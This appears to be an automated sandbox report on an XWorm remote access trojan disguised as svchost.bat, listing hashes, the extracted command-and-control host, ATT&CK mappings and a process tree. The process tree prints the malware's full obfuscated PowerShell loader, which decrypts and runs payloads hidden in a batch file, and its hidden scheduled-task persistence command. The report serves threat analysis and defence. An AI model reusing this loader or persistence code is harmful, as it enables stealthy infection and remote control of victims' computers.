xworm | fa57646f828af97268c76a06db56ef3c7dbc6c87d8b3a49579783b346c1ef6b6

Analysis

max time kernel
26s
max time network
30s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
04/07/2024, 16:09

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General

Target

svchost.bat
Size

287KB
MD5

9be1452fccb6a9ca2b3e28b89d0c879e
SHA1

8fe95b338be85b1ceac233a51abf3c59890741a7
SHA256

fa57646f828af97268c76a06db56ef3c7dbc6c87d8b3a49579783b346c1ef6b6
SHA512

f2376350ff5e8b5c405c3e48370a22d140249c77a3c5b69f88e55c87f5f643f501a95f1dcf3e361619562ca4fdefa403caed95cb26bb6250c4a62a270803474f
SSDEEP

6144:eIAZ2ZdcY5dv7vuw8UD2CmmrVKsQ7p/0FD+Q7b7QatJqYS:eIAZWcGv7N8UDa+VK790FqQTQc3S

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

session-chief.gl.at.ply.gg:36125

Attributes

Install_directory
%LocalAppData%
install_file
svchost.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2104-48-0x0000027960740000-0x0000027960756000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2104	powershell.exe
4	2104	powershell.exe
5	2104	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3560	powershell.exe
436	powershell.exe
2104	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\svchost.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3560	powershell.exe
3560	powershell.exe
436	powershell.exe
436	powershell.exe
2104	powershell.exe
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe
Token: 36	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe
Token: 36	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 3560	5040	cmd.exe	78
PID 5040 wrote to memory of 3560	5040	cmd.exe	78
PID 3560 wrote to memory of 436	3560	powershell.exe	80
PID 3560 wrote to memory of 436	3560	powershell.exe	80
PID 3560 wrote to memory of 564	3560	powershell.exe	82
PID 3560 wrote to memory of 564	3560	powershell.exe	82
PID 564 wrote to memory of 720	564	WScript.exe	83
PID 564 wrote to memory of 720	564	WScript.exe	83
PID 720 wrote to memory of 2104	720	cmd.exe	85
PID 720 wrote to memory of 2104	720	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\svchost.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4M5j+1xzJOeDcwzKdNYAVj5Z1u6Xszhz0dyCDDGdvuk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k68c/eR0Vk68JzYJXrGZ+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tYTcJ=New-Object System.IO.MemoryStream(,$param_var); $GFzVH=New-Object System.IO.MemoryStream; $DkOtB=New-Object System.IO.Compression.GZipStream($tYTcJ, [IO.Compression.CompressionMode]::Decompress); $DkOtB.CopyTo($GFzVH); $DkOtB.Dispose(); $tYTcJ.Dispose(); $GFzVH.Dispose(); $GFzVH.ToArray();}function execute_function($param_var,$param2_var){ $cLKFK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bfXRs=$cLKFK.EntryPoint; $bfXRs.Invoke($null, $param2_var);}$eZMBn = 'C:\Users\Admin\AppData\Local\Temp\svchost.bat';$host.UI.RawUI.WindowTitle = $eZMBn;$iDiQu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($eZMBn).Split([Environment]::NewLine);foreach ($ICGWs in $iDiQu) { if ($ICGWs.StartsWith(':: ')) { $LaNhz=$ICGWs.Substring(3); break; }}$payloads_var=[string[]]$LaNhz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_991_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_991.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_991.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_991.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4M5j+1xzJOeDcwzKdNYAVj5Z1u6Xszhz0dyCDDGdvuk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k68c/eR0Vk68JzYJXrGZ+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tYTcJ=New-Object System.IO.MemoryStream(,$param_var); $GFzVH=New-Object System.IO.MemoryStream; $DkOtB=New-Object System.IO.Compression.GZipStream($tYTcJ, [IO.Compression.CompressionMode]::Decompress); $DkOtB.CopyTo($GFzVH); $DkOtB.Dispose(); $tYTcJ.Dispose(); $GFzVH.Dispose(); $GFzVH.ToArray();}function execute_function($param_var,$param2_var){ $cLKFK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bfXRs=$cLKFK.EntryPoint; $bfXRs.Invoke($null, $param2_var);}$eZMBn = 'C:\Users\Admin\AppData\Roaming\startup_str_991.bat';$host.UI.RawUI.WindowTitle = $eZMBn;$iDiQu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($eZMBn).Split([Environment]::NewLine);foreach ($ICGWs in $iDiQu) { if ($ICGWs.StartsWith(':: ')) { $LaNhz=$ICGWs.Substring(3); break; }}$payloads_var=[string[]]$LaNhz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
824da05d0f31c23ab953467d7a3812f7

SHA1
48349c5986cb56777bf77e747eafbc2f87dfc2c1

SHA256
6d266b3c94b03d8ed8648328f707c58177b2075c963aff4cbe6576d93df518b8

SHA512
5c35ada146f86ebaefc96d82f7176f7ccabf179a5297b04fb7f56a88cb6a8a1b1bb159b04599cf8f581f49a08137530aa3cc8a1e5c67a383880c6998e84c5367

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_guqbdsz0.tta.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_991.bat

Filesize
287KB

MD5
9be1452fccb6a9ca2b3e28b89d0c879e

SHA1
8fe95b338be85b1ceac233a51abf3c59890741a7

SHA256
fa57646f828af97268c76a06db56ef3c7dbc6c87d8b3a49579783b346c1ef6b6

SHA512
f2376350ff5e8b5c405c3e48370a22d140249c77a3c5b69f88e55c87f5f643f501a95f1dcf3e361619562ca4fdefa403caed95cb26bb6250c4a62a270803474f

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_991.vbs

Filesize
115B

MD5
31ad013b3aa57b3fbb6cb1e560d05fe7

SHA1
fd7e96db28efd6baed7cd97e90dadb8f58b0c162

SHA256
fff219810b246a986ec84d671e01e2cf55a95c27fdfae873f8eba20cd24a5dfb

SHA512
f1c95d6ac70f5bd862fd48a2e47036e48f80e7b0bf650856e4d8d8f5491d06af5364e98dd1bca50fda9a424e161c440193b312e748f0dd2fdd553f28743d1c28

Download Submit
memory/436-26-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/436-30-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/436-27-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/436-16-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/436-25-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/2104-48-0x0000027960740000-0x0000027960756000-memory.dmp

Filesize
88KB

Download
memory/2104-54-0x0000027960A90000-0x0000027960A9C000-memory.dmp

Filesize
48KB

Download
memory/3560-0-0x00007FF829673000-0x00007FF829675000-memory.dmp

Filesize
8KB

Download
memory/3560-14-0x00000215FDCE0000-0x00000215FDD18000-memory.dmp

Filesize
224KB

Download
memory/3560-13-0x00000215FDBC0000-0x00000215FDBC8000-memory.dmp

Filesize
32KB

Download
memory/3560-12-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/3560-11-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/3560-10-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download
memory/3560-9-0x00000215FDC50000-0x00000215FDC72000-memory.dmp

Filesize
136KB

Download
memory/3560-49-0x00007FF829670000-0x00007FF82A132000-memory.dmp

Filesize
10.8MB

Download